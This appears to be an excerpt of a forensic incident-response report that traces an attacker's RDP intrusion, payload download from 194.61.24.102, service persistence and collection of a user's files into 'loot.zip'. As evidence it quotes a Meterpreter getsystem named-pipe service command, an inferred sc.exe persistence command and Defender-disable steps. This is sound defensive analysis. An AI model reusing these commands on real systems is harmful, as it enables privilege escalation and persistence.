- Inbound RDP: the only remote interactive session is C137\Administrator from DC 10.42.85.10 (already covered in F-006/F-018; RCM 1149 and RdpCoreTS 168 at 03:36:23; eve_rdp).
- Outbound RDP: no Terminal Server Client keys, no MSTSC Prefetch, no .rdp files, and no flows from the workstation to any host on port 3389.
- PsExec: none. 7045 shows only coreupdater, nehgye, WPD and FTK besides OOBE/VMware. There is no PSEXESVC, and PsExec, PAExec and RemCom are absent from $MFT.
- WinRM: only local SYSTEM client-side Enumeration events that failed with 0x80338012 at boot/logon. There were no server-side WinRM sessions.
- RMM tools: no AnyDesk, TeamViewer, ScreenConnect, RustDesk, Splashtop, VNC, ngrok or chisel artifacts in $MFT.
- No Prefetch for net, wmic or winrs.
- Network: internally the workstation only talks to the DC (DNS, Kerberos, LDAP, RPC, SMB for SYSVOL/GPO and NETLOGON at the attacker's profile load). Memory netscan shows only the 3389/445 listeners plus one SMB session to the DC.

F-024 (info): the host was an RDP target, not a pivot.
F-025 (medium): ricksanchez's persistent Z: drive (\\CITADEL-DC01\FileShare, mapped 22:45 the day before) reconnected at the 05:08 logon. That is the same Domain Admin context in which the Meterpreter loader runs. The SMB session was about 28 KB, so there is no sign of bulk transfer.

F-025: Network share exposure: ricksanchez's persistent mapped drive Z: = \\CITADEL-DC01\FileShare reconnected at the 05:08 logon that fired the Meterpreter Run-key loader

Severity	**Medium**
Confidence	probable
Independent sources	artifact:registry (recmd kroll) memory network
Category	lateral movement
MITRE ATT&CK	T1021.002, T1039
Period (UTC)	2020-09-18 22:45:26.988114 → 2020-09-19 04:08:16.637781

Observed facts

ricksanchez NTUSER.DAT: Map Network Drive MRU 'a' = \\CITADEL-DC01\FileShare (LastWrite 2020-09-18 22:45:26 UTC) and persistent mapping HKCU\Network\Z RemotePath = \\CITADEL-DC01\FileShare (LastWrite 22:52:49); MountPoints2\##CITADEL-DC01#FileShare 22:45:27. Pcap: SMB flow 10.42.85.115:50957 → 10.42.85.10:445 starting 06:08:16+0200 (= 04:08:16 pcap UTC ≈ 05:08:16 host UTC, ricksanchez logon) until end of capture, 15,650 bytes up / 12,757 bytes down; eve_smb TREE_CONNECT \\CITADEL-DC01\FileShare with Desktop.ini/AutoRun.inf/<share_root> opens (Explorer browsing artefacts). Memory netscan: same socket 10.42.85.115:50957 → 10.42.85.10:445 ESTABLISHED at capture.

Analysis

The mapping itself was created by ricksanchez on 2020-09-18 22:45 (pre-incident, legitimate admin setup). Its relevance: the Run-key Meterpreter (PowerShell PID 3316, F-016) runs in ricksanchez's Domain Admin context with Z: mounted, giving the attacker direct access to the DC file share and to the DC itself. The small byte counts on the SMB session (≈28 KB total) do not indicate bulk data transfer to/from the share during the capture window. No evidence of use of the share by the attacker; recorded as exposure / potential pivot path.

Evidence (5)

UTC	Artifact	Detail	Reference	Original source
2020-09-18	Registry (RECmd	Registry: key last written	recmd_kroll/	F:\Users\ricksanchez\

UTC	Artifact	Detail	Reference	Original source
22:52:49.690941	Kroll)	ROOT\Network\Z Network Shares | Network Shares | RemotePath=\\ CITADEL-DC01\FileShare	recmd_kroll_F.csv#1462	NTUSER.DAT
2020-09-18 22:45:26.988114	Registry (RECmd Kroll)	Registry: key last written ROOT\SOFTWARE\Microsoft\Windows\CurrentVersion\ Explorer\Map Network Drive MRU Network Shares | Network Drive MRU | a=\\CITADEL- DC01\FileShare	recmd_kroll/ recmd_kroll_F.csv#1465	F:\Users\ricksanchez\ NTUSER.DAT
2020-09-19 04:08:16.583483	Network flows (Suricata)	network flow: start 10.42.85.10 TCP 10.42.85.115:50957 -> 10.42.85.10:445 smb state=established bytes=15650/12757	suricata/case001.pcap/ eve_flow.jsonl#27563	case001.pcap
2020-09-19 04:08:16.637781	Network events (Suricata)	network event smb TCP 10.42.85.115:50957 -> 10.42.85.10:445	suricata/case001.pcap/ eve_smb.jsonl#241	case001.pcap
	raw.vol_netscan	{"TreeDepth": "0", "ForeignAddr": "10.42.85.10", "ForeignPort": "445", "LocalAddr": "10.42.85.115", "LocalPort": "50957", "Offset": "209519101090720", "Proto": "TCPv4", "State": "ESTABLISHED"}	volatility/ windows.netscan.NetSca n.jsonl#88	

F-024: Lateral movement assessment: workstation was an RDP target only; no outbound RDP/PsExec/WinRM/RMM pivot observed

Severity	**Informational**
Confidence	probable
Independent sources	evtx:microsoft-windows-winrm%4operational.evtx evtx:system.evtx network
Category	lateral movement
MITRE ATT&CK	T1021.001
Period (UTC)	2020-09-19 02:35:55.347240 → 2020-09-19 03:43:14.990879

Observed facts

Checked sources and results:
- Inbound RDP: the only remote interactive access is C137\Administrator from DC 10.42.85.10 (already F-006/F-018; RCM 1149 03:36:23, RdpCoreTS 168 03:36:23; Suricata eve_rdp rows 281/283/284 are the same DC ↔ workstation session). Memory netscan: TermService svchost PID 520 LISTENING 0.0.0.0:3389, no other 3389 sessions at capture time.
- Outbound RDP: no 'Terminal Server Client' keys in any NTUSER.DAT (registry_kroll), no MSTSC.EXE Prefetch, no .rdp files in $MFT; Suricata shows no flow from 10.42.85.115 to any host on 3389.
- PsExec/service-based: 7045 list (20 events) contains only VMware/OOBE drivers, coreupdater (03:42:42), nehgye (03:43:14, getsystem), WPD and FTK AccessData driver; no PSEXESVC or random-named remote service; no PsExec/PAExec/RemCom files in $MFT; no 5140/5145 events in the collection (file-share auditing not enabled).
- WinRM/remote PowerShell: WinRM/Operational holds only 145/254/161/142 quartets (01:07:33, 01:24:31, 03:36:56-03:37:00) generated by local SYSTEM (PID 448) enumerating 'wsman/1/config/listener' and failing with error 2150858770 (0x80338012, WinRM service not running) – client-side, at boot/logon; no 6/91/168 server-side WinRM sessions, no wsmprovhost.exe Prefetch.
- RMM tools: no AnyDesk/TeamViewer/ScreenConnect/RustDesk/Splashtop/Atera/VNC/ngrok/chisel/plink file names in $MFT.
- Prefetch: no net.exe, wmic.exe, winrs.exe, mstsc.exe, schtasks.exe executions.
- Network (pcap, host clock = pcap +1 h): the workstation only talks to DC 10.42.85.10 internally (53, 88, 389, 135, 445, 49155/49158 RPC, 123) and to 10.90.90.90 (DNSBL sinkhole); no flows to any other internal host on 445/3389/5985/5986/135/22, and no inbound flows on these ports other than the DC RDP session.
- ShellBags: no UNC/network paths.

Analysis

Within the available telemetry, DESKTOP-SDN1RPT was the destination of lateral movement (DC → workstation over RDP with stolen Domain Administrator credentials) but was not used as a pivot to other internal hosts. Caveats: no 5140/5145 auditing, no Sysmon, and Meterpreter activity inside spoolsv.exe/PowerShell (F-015/F-016) could perform SMB/RPC actions that would only appear as DC traffic; the pcap shows none toward other hosts, but encrypted C2 content cannot be inspected. Pivoting through the Meterpreter channel (port forwarding) cannot be excluded by disk artifacts alone.

Evidence (5)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 03:36:56.014782	Event logs (EVTX)	EVTX event Microsoft-Windows-WinRM/Operational 145 | Microsoft-Windows-WinRM	evtxecmd/ evtxecmd_0.csv#36922	F:\Windows\System32\ winevt\logs\Microsoft-Windows-WinRM %4Operational.evtx
2020-09-19 03:37:00.089782	Event logs (EVTX)	EVTX event Microsoft-Windows-WinRM/Operational 142 | Microsoft-Windows-WinRM	evtxecmd/ evtxecmd_0.csv#36925	F:\Windows\System32\ winevt\logs\Microsoft-Windows-WinRM %4Operational.evtx
2020-09-19 02:35:55.347240	Network events (Suricata)	network event rdp TCP 10.42.85.115:3389 -> 10.42.85.10:62514	suricata/case001.pcap/ eve_rdp.jsonl#281	case001.pcap
2020-09-19 03:42:42.676537	Event logs (EVTX)	EVTX event C:\Windows\System32\coreupdater.exe System 7045 | Service Control Manager | A new service was installed in the system | Name: coreupdater | StartType: auto start | Account: LocalSystem | C:\ Windows\System32\coreupdater.exe	evtxecmd/ evtxecmd_0.csv#40866	F:\Windows\System32\ winevt\logs\System.evtx
2020-09-19 03:43:14.990879	Event logs (EVTX)	EVTX event cmd.exe /c echo nehgye > \\.\pipe\nehgye System 7045 | Service Control Manager | A new service was installed in the system | Name: nehgye | StartType: demand start | Account: LocalSystem | cmd.exe /c echo nehgye > \\.\pipe\nehgye	evtxecmd/ evtxecmd_0.csv#40867	F:\Windows\System32\ winevt\logs\System.evtx

4.9 User activity on files and folders

I reviewed LNK (31), Jump Lists auto/custom, ShellBags (4 UsrClass hives), RecentDocs, OpenSave/LastVisited MRU, TypedURLs/TypedPaths, Windows Timeline (Administrator ActivitiesCache incl. CopyPaste), SIDR activity, $UsnJrnl/$MFT for the 03:36-05:20 window, USB/USBSTOR, and memory filescan/cmdscan.

New findings:
- F-026 (high, confirmed): the attacker browsed the Admin, mortysmith and ricksanchez profiles (ShellBags 03:45:07-03:51:14) and opened the SSN, Plans, Portal_gun and Thoughts files. The Explorer zip "My Social Security Number.zip" was created at 03:46:15 (MFT 87470-2), renamed loot.zip at 03:46:18, and permanently deleted at 03:47:09 without going through the Recycle Bin. Its MFT entry was reused by Thoughts.lnk at 03:47:39.
- F-027 (high, confirmed): GUI workflow for the payload. Edge directory listing of 194.61.24.102 (03:39:29-03:44:52), SecHealthUI 03:39:38-54 (also added to F-007), Save-As via PickerHost into Downloads (03:40:00), Explorer move to System32 (03:40:42, same MFT entry), and clipboard pastes into cmd.exe at 03:41:21 and 03:42:38/41/44 around the sc.exe service creation.
- F-028 (info): the only USB device is the responder's SanDisk E: (VSN A6125E71), browsed 05:09-05:13 under ricksanchez. No attacker removable or network volumes appear in LNK, jump lists or ShellBags.

Timeline T-020..T-022 and IOC I-014 were added. Noise is documented in a note.

F-027: Attacker GUI workflow for coreupdater.exe: Edge directory listing of 194.61.24.102, Save-As dialog, Explorer move Downloads→System32, clipboard pastes into cmd.exe

Severity	**High**
Confidence	confirmed
Independent sources	artifact:$usnjrnl:$j artifact:jump lists (automatic) artifact:registry: lastvisitedpidlmru artifact:registry: opensavepidlmru artifact:shellbags artifact:windows search (activity history) artifact:windows timeline (activitiescache)

Category	execution
MITRE ATT&CK	T1105, T1036.005, T1543.003, T1562.001
Period (UTC)	2019-12-07 09:03:44.539499 → 2020-09-19 03:42:41

Observed facts

These are the GUI-level artifacts of C137\Administrator (-500) in RDP session 3.

1) Windows Timeline (L.Administrator ActivitiesCache):
- Edge opened "Directory listing for /" at http://194.61.24.102/ at 03:39:29; the window stayed in focus until 03:44:52 (SIDR ActivityHistory row 29 shows the same).
- Windows Security (SecHealthUI) opened at 03:39:38 and stayed in focus until 03:39:54. This matches the Defender RTP disable at 03:39:45-03:39:49 (F-007).

2) Download and save:
- ComDlg32 OpenSavePidlMRU\exe and * = This PC\Downloads\coreupdater.exe at 03:40:00.69.
- LastVisitedPidlMRU = PickerHost.exe → This PC\Downloads at 03:40:00.69.
- $J: coreupdater.exe.b1jhvkh.partial was renamed to coreupdater.exe in .\Users\Administrator\Downloads at 03:40:00.

3) Move to System32:
- ShellBags show the Downloads folder at 03:40:04 and C:\Windows\System32 at 03:40:23.
- Windows Timeline Explorer CopyPaste at 03:40:09.
- $J RenameNewName of coreupdater.exe in .\Windows\System32 at 03:40:42.254 (same MFT entry, so a move, not a copy).
- The Explorer jump list f01b4d95cf55d32a records C:\Windows\System32 at 03:40:42.254.
- $J StreamChange on the System32 copy up to 03:40:49.33, just before execution at 03:40:49. A Zone.Identifier ADS was probably handled at this point.

4) Command prompt:
- cmd.exe was opened at 03:41:06 and stayed in focus until 03:44:45.
- Windows Timeline recorded 4 CopyPaste (clipboard) events in cmd.exe at 03:41:21, 03:42:38, 03:42:41 and 03:42:44. The last three bracket the sc.exe service creation of "coreupdater" at 03:42:42 (7045).
- Clipboard payloads were not stored (ClipboardPayload empty), and the memory cmdscan/consoles plugins returned no command history for conhost PID 728.

Analysis

These records add to F-008 and F-012 with user-interaction artifacts. The attacker worked interactively over RDP: they browsed the open web directory on 194.61.24.102, used the Windows Security GUI to switch off real-time protection, saved the payload through the Edge Save-As dialog, and moved it by hand to C:\Windows\System32 with a legitimate-sounding name (masquerading).

The clipboard pastes into cmd.exe at the moment the service was created suggest the commands were prepared in advance and pasted, which fits a scripted operator playbook (for example `sc create coreupdater ... start= auto`). The exact commands could not be recovered. This is an inference based on timing.

Evidence (12)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 03:39:29	Windows Timeline (ActivitiesCache)	Activity: start ; Activity: last modified Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge Directory listing for / (Microsoft Edge) http://194.61.24.102/ (http://194.61.24.102/) type=ExecuteOpen	wxtcmd/F/Users/ Administrator/AppData/ Local/ ConnectedDevicesPlatfor m/L.Administrator/	F:\Users\Administrator\ AppData\Local\ ConnectedDevicesPlatfor m\L.Administrator\ ActivitiesCache.db

UTC	Artifact	Detail	Reference	Original source
			20261025201827_Administrator_Activity.csv#7	
2020-09-19 03:39:38	Windows Timeline (ActivitiesCache)	Activity: start ; Activity: last modified Microsoft.Windows.SecHealthUI_cw5n1h2txyewy!SecHealthUI Windows Security type=ExecuteOpen	wxtcmd/F/Users/Administrator/AppData/Local/ConnectedDevicesPlatform/L.Administrator/20261025201827_Administrator_Activity.csv#9	F:\Users\Administrator\AppData\Local\ConnectedDevicesPlatform\L.Administrator\ActivitiesCache.db
2020-09-19 03:40:09	Windows Timeline (ActivitiesCache)	Activity: start ; Activity: end ; Activity: last modified Microsoft.Windows.Explorer type=CopyPaste	wxtcmd/F/Users/Administrator/AppData/Local/ConnectedDevicesPlatform/L.Administrator/20261025201827_Administrator_Activity.csv#11	F:\Users\Administrator\AppData\Local\ConnectedDevicesPlatform\L.Administrator\ActivitiesCache.db
2020-09-19 03:42:38	Windows Timeline (ActivitiesCache)	Activity: start ; Activity: end ; Activity: last modified System\cmd.exe type=CopyPaste	wxtcmd/F/Users/Administrator/AppData/Local/ConnectedDevicesPlatform/L.Administrator/20261025201827_Administrator_Activity.csv#15	F:\Users\Administrator\AppData\Local\ConnectedDevicesPlatform\L.Administrator\ActivitiesCache.db
2020-09-19 03:42:41	Windows Timeline (ActivitiesCache)	Activity: start ; Activity: end ; Activity: last modified System\cmd.exe type=CopyPaste	wxtcmd/F/Users/Administrator/AppData/Local/ConnectedDevicesPlatform/L.Administrator/20261025201827_Administrator_Activity.csv#16	F:\Users\Administrator\AppData\Local\ConnectedDevicesPlatform\L.Administrator\ActivitiesCache.db
2020-09-19 03:40:00.691657	Registry: OpenSavePidlMRU	Opened/saved via dialog box This PC\Downloads\coreupdater.exe exe mru=0	recmd_kroll/20261025191813/recmd_kroll_F_OpenSavePidlMRU.csv#2	
2020-09-19 03:40:00.691657	Registry: LastVisitedPidlMRU	Folder used by an application (dialog box) This PC\Downloads appli=PickerHost.exe mru=0	recmd_kroll/20261025191813/recmd_kroll_F_LastVisitedPidlMRU.csv#1	
2019-12-07 09:03:46	ShellBags	Folder: created (recorded) Desktop\This PC\C:\Windows\System32 Directory System32 MFT=3254 [explored]	sbecmd/Administrator_UsrClass.csv#34	
2019-12-07 09:03:44.539499	Jump Lists (automatic)	Target: created (recorded) C:\Windows\System32 Windows Explorer Windows 8.1 interactions=1 machine=desktop-sdn1rpt	jlecmd/20261025191825_AutomaticDestinations.csv#19	F:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms
2020-09-19 03:40:00.847956	$UsnJrnl:$J	USN $J F:\Users\Administrator\Downloads\coreupdater.exe.b1jhvkh.partial FileCreate [Archive] entry=26213-4	mftecmd_usnjrnl/usnjrnl.csv#35860	F:\$Extend\$J
2020-09-19 03:40:42.254194	$UsnJrnl:$J	USN $J F:\Windows\System32\coreupdater.exe RenameNewName [Archive] entry=26213-4	mftecmd_usnjrnl/usnjrnl.csv#35942	F:\$Extend\$J
2020-09-19 03:39:29	Windows Search (activity history)	Activity: start http://194.61.24.102/ Microsoft Edge Directory listing for / Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge	sidr/DESKTOP-SDN1RPT_Activity_History_Report_20261025_191826.918732700.csv#29	F:\ProgramData\Microsoft\search\data\applications\windows\Windows.edb

F-026: Collection detail: attacker browsed all user profiles in Explorer, built "My Social Security Number.zip" via Explorer, renamed it loot.zip, and permanently deleted it (no Recycle Bin)

Severity	**High**
Confidence	confirmed
Independent sources	artifact:$mft artifact:$usnjrnl:$j artifact:jump lists (automatic) artifact:registry: recentdocs artifact:shellbags artifact:windows search (activity history) artifact:windows timeline (activitiescache)
Category	collection

MITRE ATT&CK	T1083, T1005, T1560.001, T1070.004
Period (UTC)	2020-09-18 05:49:10 → 2020-09-19 03:47:39.785228

Observed facts

This adds detail to F-013. Every artifact below belongs to C137\Administrator (SID S-1-5-21-2232410529-1445159330-2725690660-500) during RDP session 3.

1) Folder browsing (ShellBags, sbecmd/Administrator_UsrClass.csv):
- C:\Users\Administrator\Downloads at 03:40:04 and C:\Windows\System32 at 03:40:23.
- Admin\Documents, Downloads, Music, OneDrive and Pictures at 03:45:07-03:45:19.
- mortysmith\Documents at 03:45:29 (first interacted), then mortysmith Desktop, Downloads, Music, Videos and Saved Games at 03:47:32-03:49:12.
- ricksanchez Desktop, Documents, Downloads and Saved Games at 03:49:46-03:51:14.
- This PC\Documents, Pictures, Downloads, Desktop, Music and Videos at 03:38:45-03:51:47.
The TypedPaths key LastWrite is 03:45:08, so a path was typed in the Explorer address bar.

2) Files opened (Windows Timeline in the Administrator ActivitiesCache, SIDR ActivityHistory, Jump Lists, LNK):
- Notepad: C:\Users\mortysmith\Documents\My Social Security Number.txt at 03:45:34 (ObjectId {DD6765CD-F9F7-11EA-95EC-000C2914C295}).
- Notepad: Plans.txt at 03:45:39-03:45:51.
- Photos: Portal_gun.png at 03:45:54-03:46:02.
- Notepad: C:\Users\mortysmith\Desktop\Thoughts.txt at 03:47:39-03:47:48.
Notepad jump list 9b9cdc69c1c24e2b, Photos a52b0784bd667468 and Quick Access 5f7b5f1e01b83767 all carry the same times.

3) Archive staging ($UsnJrnl, usnjrnl.csv rows 36753-36805):
- 03:46:15.2696: FileCreate of "My Social Security Number.zip" in .\Users\mortysmith\Documents (MFT 87445-3).
The .zip~RF822ef7.TMP swap file was created and deleted, and the final archive was written as MFT entry 87470-2. This is the Explorer "Send to > Compressed (zipped) folder" pattern.
- 03:46:18.0693: rename My Social Security Number.zip → loot.zip (RenameOldName/RenameNewName, MFT 87470-2).
- Explorer then created C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\loot.lnk (03:46:18.1295), and RecentDocs\.zip shows loot.zip.
- 03:47:09.9174: FileDelete|Close of loot.zip (MFT 87470-2). No $R/$I rename into $Recycle.Bin appears in $J, so this was a permanent delete (Shift+Del or a programmatic delete), not a move to the Recycle Bin.
- MFT entry 87470 was reused 30 s later (sequence 3) by Thoughts.lnk (Created 03:47:39.785). The archive record is therefore gone from $MFT. The source files are still present: My Social Security Number.txt (22 B, MFT 91143), Plans.txt (141 B, MFT 91250), Thoughts.txt (7 B, MFT 91203) and Portal_gun.png (130,678 B, MFT 96326).
- Memory filescan only holds a FILE_OBJECT for \Users\mortysmith\Desktop\Thoughts.txt. No loot.zip object is resident.

Analysis

Several independent artifacts agree on a deliberate, hands-on-keyboard collection sequence: ShellBags from UsrClass, ActivitiesCache, SIDR, Jump Lists/LNK, and $UsnJrnl/$MFT from the file system. The attacker enumerated every local profile (Admin, mortysmith, ricksanchez) looking for valuable data. They opened three text files and one image belonging to mortysmith, compressed them with Explorer's built-in zip, renamed the archive to "loot.zip" (which makes the intent explicit), and deleted it permanently about 51 s later.

The archive was most likely exfiltrated in the 03:46:18-03:47:09 interval. Probable channels are the RDP session itself (clipboard or drive redirection) or the live Meterpreter session (PID 8324 had exited at 03:43:10, but the session migrated

into spoolsv.exe, see F-015). Exfiltration is not proven: the pcap shows no cleartext transfer (step 5), and RDP and C2 are encrypted.

Two points are inferences, not observed facts. The exact archive content is inferred from the zip's initial name and the files opened just before; the deleted record could not be recovered. The permanent delete could be a Shift+Delete in Explorer or a delete issued through Meterpreter; the artifacts cannot tell these apart.

Evidence (14)

UTC	Artifact	Detail	Reference	Original source
2020-09-18 22:46:40	ShellBags	Folder: created (recorded) Desktop\This PC\C:\Users\mortysmith\Documents Directory Documents MFT=88824 [explored]	sbecmd/ Administrator_UsrClass.csv#24	
2020-09-18 22:46:40	ShellBags	Folder: created (recorded) Desktop\This PC\C:\Users\mortysmith\Saved Games Directory Saved Games MFT=88818 [explored]	sbecmd/ Administrator_UsrClass.csv#29	
2020-09-18 22:44:12	ShellBags	Folder: created (recorded) Desktop\This PC\C:\Users\ricksanchez\Documents Directory Documents MFT=87867 [explored]	sbecmd/ Administrator_UsrClass.csv#31	
2020-09-18 05:49:10	ShellBags	Folder: created (recorded) Desktop\This PC\C:\Users\Admin\Documents Directory Documents MFT=84010 [explored]	sbecmd/ Administrator_UsrClass.csv#19	
2020-09-19 03:46:15.269625	$UsnJrnl:$J	USN $J F:\Users\mortysmith\Documents\My Social Security Number.zip FileCreate [Archive] entry=87445-3	mftecmd_usnjrnl/ usnjrnl.csv#36753	F:\$Extend\$J
2020-09-19 03:46:18.069334	$UsnJrnl:$J	USN $J F:\Users\mortysmith\Documents\loot.zip RenameNewName [Archive] entry=87470-2	mftecmd_usnjrnl/ usnjrnl.csv#36776	F:\$Extend\$J
2020-09-19 03:47:09.917465	$UsnJrnl:$J	USN $J F:\Users\mortysmith\Documents\loot.zip FileDelete|Close [Archive] entry=87470-2	mftecmd_usnjrnl/ usnjrnl.csv#36805	F:\$Extend\$J
2020-09-19 03:47:39.785228	$MFT	$SI creation (B) ; $SI modification (M) ; $SI access (A) ; $SI MFT change (C) F:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\Thoughts.lnk size=979	mftecmd_mft/ mft.csv#114154	F:\$MFT
2020-09-18 22:50:19.426026	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) F:\Users\mortysmith\Documents\My Social Security Number.txt size=22	mftecmd_mft/ mft.csv#117827	F:\$MFT
2020-09-19 03:45:34	Windows Timeline (ActivitiesCache)	Activity: start ; Activity: last modified System\notepad.exe My Social Security Number.txt (Notepad) C:\Users\mortysmith\Documents\My Social Security Number.txt (file:Unmapped GUID: //C:/Users/mortysmith/Documents/My Scial Security Number.txt?VolumeId={26F70DB0-6894-4B1D-8F05-4CB89F106AC5}&ObjectId={DD6765CD-F9F7-11EA-95EC-000C2914C295}&KnownFolderId=UserProfiles&KnownFolderLength=8) type=ExecuteOpen	wxtcmd/F/Users/ Administrator/AppData/ Local/ ConnectedDevicesPlatform/L.Administrator/ 20261025201827_Administrator_Activity.csv#19	F:\Users\Administrator\AppData\Local\ConnectedDevicesPlatform\L.Administrator\ActivitiesCache.db
2020-09-19 03:47:39	Windows Timeline (ActivitiesCache)	Activity: start ; Activity: last modified System\notepad.exe Thoughts.txt (Notepad) C:\Users\mortysmith\Desktop\Thoughts.txt (file:Unmapped GUID: //C:/Users/mortysmith/Desktop/Thoughs.txt?VolumeId={26F70DB0-6894-4B1D-8F05-4CB89F106AC5}&ObjectId={DD676585-F9F7-11EA-95EC-000C2914C295}&KnownFolderId=UserProfiles&KnownFolderLength=8) type=ExecuteOpen	wxtcmd/F/Users/ Administrator/AppData/ Local/ ConnectedDevicesPlatform/L.Administrator/ 20261025201827_Administrator_Activity.csv#26	F:\Users\Administrator\AppData\Local\ConnectedDevicesPlatform\L.Administrator\ActivitiesCache.db
2020-09-19 01:24:04.500156	Jump Lists (automatic)	Jump List: entry created (≈ first opened) C:\Users\mortysmith\Documents\loot.zip Quick Access interactions=1 machine=desktop-sdn1rpt	jlecmd/ 20261025191825_AutomaticDestinations.csv#9	F:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\5f7b5f1e01b83767.automaticDestinations-ms
2020-09-19 03:46:18.129513	Registry: RecentDocs	Opened (RecentDocs) loot.zip lnk=loot.lnk mru=0 .zip	recmd_kroll/ 20261025191813/ recmd_kroll_F_RecentDocs.csv#14	
2020-09-19 03:45:34	Windows Search (activity history)	Activity: start file:///C:/Users/mortysmith/Documents/My%20Social%20Security%20Number.txt?VolumeId={26F70DB0-6894-	sidr/DESKTOP-SDN1RPT_Activity_History_Report_20261025_191	F:\ProgramData\Microsoft\search\data\applications\windows\

UTC	Artifact	Detail	Reference	Original source
		4B1D-8F05-4CB89F106AC5}&ObjectId={DD6765CD-F9F7-11EA-95EC-000C2914C295}&KnownFolderId=UserProfiles&KnownFolderLength=8 Notepad My Social Security Number.txt {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\notepad.exe	826.918732700.csv#30	Windows.edb

F-028: Removable media and responder activity: only USB device is the responder's SanDisk "Incident_drive" (E:, VSN A6125E71) browsed under ricksanchez 05:09–05:13; no exfiltration media

Severity	Informational
Confidence	confirmed
Independent sources	artifact:jump lists (automatic) artifact:lnk files artifact:registry: recentdocs artifact:registry: usb
Category	context
MITRE ATT&CK	n/a
Period (UTC)	2020-02-25 17:36:10 → 2020-09-19 05:13:21.865279

Observed facts

USB devices (raw.reg_usb):
- The only mass-storage device is VID_0781&PID_5597, serial 4C530000261130109435 (SanDisk). It was first installed and last connected at 2020-09-19 05:08:58.
- Everything else is virtual (VMware VID_0E0F, root hubs).

LNK files in C:\Users\ricksanchez\...\Recent all point to volume serial A6125E71, removable drive type:
- "Incident_drive (E).lnk" → E:\.
- "DESKTOP-SDN1RPT.lnk" → E:\DESKTOP-SDN1RPT (target created 05:09:26).
- "Protected Files.lnk" → E:\DESKTOP-SDN1RPT\Protected Files (target created 05:13:18).

Other user artifacts:
- The Explorer jump list carries the same E: paths (05:13:21).
- RecentDocs: "Incident_drive (E:)" at 05:13:21.
- ShellBags: E:\FTK Imager and E:\DESKTOP-SDN1RPT at 05:09:48-05:13:13.
- Windows Timeline: SnippingTool 05:09:10, msinfo32 05:09:13, E:\FTK Imager\FTK Imager.exe 05:09:58-05:18:11.

No LNK, jump list or ShellBag entry from the attacker session (03:36-03:52) references a removable or network volume. All attacker LNK targets are on the fixed volume with VSN B0E0E8FF. No Recycle Bin activity ($R/$I) appears in $J for the incident window.

Analysis

The E: drive activity is the incident responder's live acquisition, which ran in the ricksanchez logon session (consistent with F-002). It is not attacker activity and is excluded. The "Protected Files" folder on E: is the responder's export of locked files (FTK Imager).

There is no evidence of exfiltration to removable media. This does not exclude exfiltration over RDP or the C2 channel (see F-026). The responder's interactive logon as ricksanchez is also what fired the HKLM Run "coreupdate" loader at 05:08 (F-010). It is a side effect of the responder's actions, and it caused new attacker C2 traffic.

Evidence (5)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 05:08:58.344277	Registry: USB	USB: last connected USB Mass Storage Device serial=4C530000261130109435 Cruzer Glide 3.0	recmd_kroll/ 20261025191813/ recmd_kroll_F_USB.csv#4	
2020-02-25 17:36:10	LNK files	Target: created (recorded in the LNK) E:\ machine=desktop-sdn1rpt MAC=60:57:18:83:4f:f1 volume=A6125E71 Removable storage media (Floppy, USB) size=4096	lecmd/lnk_F.csv#25	F:\Users\ricksanchez\ AppData\Roaming\ Microsoft\Windows\ Recent\Incident_drive (E).lnk
2020-09-19 05:13:18	LNK files	Target: created (recorded in the LNK) ; Target: modified (recorded in the LNK) ; Target: accessed (recorded in the LNK) E:\DESKTOP-SDN1RPT\Protected Files machine=desktop-sdn1rpt MAC=00:0c:29:14:c2:95 volume=A6125E71 Removable storage media (Floppy, USB) size=0	lecmd/lnk_F.csv#26	F:\Users\ricksanchez\ AppData\Roaming\ Microsoft\Windows\ Recent\Protected Files.lnk
2020-09-19 01:24:04.500197	Jump Lists (automatic)	Jump List: entry created (≈ first opened) E:\DESKTOP-SDN1RPT\Protected Files Windows Explorer Windows 8.1 interactions=1 machine=desktop-sdn1rpt	jlecmd/ 20261025191825_AutomaticDestinations.csv#41	F:\Users\ricksanchez\ AppData\Roaming\ Microsoft\Windows\ Recent\ AutomaticDestinations\ f01b4d95cf55d32a.automaticDestinations-ms
2020-09-19 05:13:21.865279	Registry: RecentDocs	Opened (RecentDocs) ; Last opened for the extension Incident_drive (E:) lnk=Incident_drive (E).lnk mru=0 RecentDocs	recmd_kroll/ 20261025191813/ recmd_kroll_F_RecentDocs.csv#44	

4.10 Web browsing, downloads and e-mail

Step 10 (web browsing, downloads and e-mail) is done. No browser-history tables were parsed: there is no Chromium, Firefox, Hindsight or IE/WebCache output, and the legacy Edge spartan.edb/WebCache files were not processed. I rebuilt the web activity from the Windows Timeline, SIDR activity history, Suricata HTTP/TLS/fileinfo, $UsnJrnl, $MFT Zone.Identifier ADS (disk and memory vol_ads), OpenSavePidlMRU and TypedURLs.

New finding F-029 (high, confirmed: pcap + disk + Windows Timeline) traces where coreupdater.exe came from:
- C137\Administrator opened legacy Edge (EdgeHTML 18.19041, first run for this profile) and went straight to http://194.61.24.102/, a 228-byte directory listing. The request had no Referer, so the URL was typed or pasted.
- Edge then fetched /coreupdater.exe (SHA256 10f3b920..., 7168 bytes) with that page as Referer.
- Disk trace of the download: cache copy coreupdater[1].exe at 03:39:57; Save-As as Downloads\coreupdater.exe.b1jhvkh.partial (MFT 26213) with the Zone.Identifier ADS written at 03:40:00.864, then renamed to coreupdater.exe; moved to System32 at 03:40:42.
- The Zone.Identifier stream was removed (USN StreamChange) at 03:40:49.317. That is the moment the file ran, and it matches the SmartScreen checkappexec TLS connection in the capture. The most likely explanation is that the user clicked through the SmartScreen/security warning; a manual unblock is the less likely alternative. The ADS is absent from $MFT at acquisition.
- The attacker server delivered only two objects to this host: the "/" listing and coreupdater.exe.

Also recorded: timeline event T-023 and IOC I-015 (http://194.61.24.102/). The noise note covers:
- mortysmith's benign Bing image browsing on 2020-09-18 around 23:00, which produced Jessica.jpg and Portal_gun.png (Portal_gun.png was later taken by the attacker).
- Edge backup MOTW files.
